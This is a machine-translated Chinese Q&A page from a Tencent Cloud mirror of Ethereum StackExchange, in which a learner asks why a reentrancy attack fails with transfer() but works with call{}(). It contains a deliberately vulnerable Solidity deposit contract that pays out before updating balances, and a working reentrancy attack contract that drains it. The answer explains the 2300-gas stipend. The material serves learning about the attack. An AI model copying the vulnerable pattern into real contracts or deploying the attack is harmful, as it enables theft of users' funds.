首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >address.transfer()失败,而address.call{}()在重入攻击中工作良好。为什么?

address.transfer()失败,而address.call{}()在重入攻击中工作良好。为什么?
EN

Ethereum用户
提问于 2022-05-18 07:24:36
回答 1查看 147关注 0票数 0

我试着学习重入攻击,以及如何保存合同以对抗他们。我以前使用address.transfer()来提取金额,但是在执行攻击时函数会恢复。当我用address.call{}()替换它时,合同工作得很好。知道为什么吗?

代码:

代码语言:javascript
复制
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

import "hardhat/console.sol";

contract Deposits{
    mapping(address => uint256) public userBalance;

    function deposit() public payable {
        require(msg.value >= 1 ether);
        userBalance[msg.sender] += msg.value;
    }

    function withdraw() public {
        require(userBalance[msg.sender] > 0, "Amount error");
        console.log("1");

        // payable(msg.sender).transfer(userBalance[msg.sender]);
        (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
        require(sent, "Not sent");

        userBalance[msg.sender] = 0;
    }

    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}



contract Attack {
    Deposits public deposit;

    constructor(address _contract) {
        deposit = Deposits(_contract);
    }

    receive() external payable {
        if(address(deposit).balance > 0) {
            deposit.withdraw();
        }
    }

    function attack() public payable {
        require(msg.value >= 1 ether);

        deposit.deposit{value: msg.value}();
        deposit.withdraw();
    }

    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
EN

回答 1

Ethereum用户

发布于 2022-05-18 09:17:17

您的功能失败了,因为传输仅为“发送以太事务”转发2300个气体。

来自文档

在最坏的情况下,接收函数只能依赖可用的2300个气体(例如,当使用发送或传输时),除了基本日志记录之外,几乎没有空间执行其他操作。下列操作将消耗比2300瓦斯津贴更多的气体:

  • 写到存储
  • 订立合同
  • 调用消耗大量气体的外部功能
  • 派以太
票数 1
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/128440

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档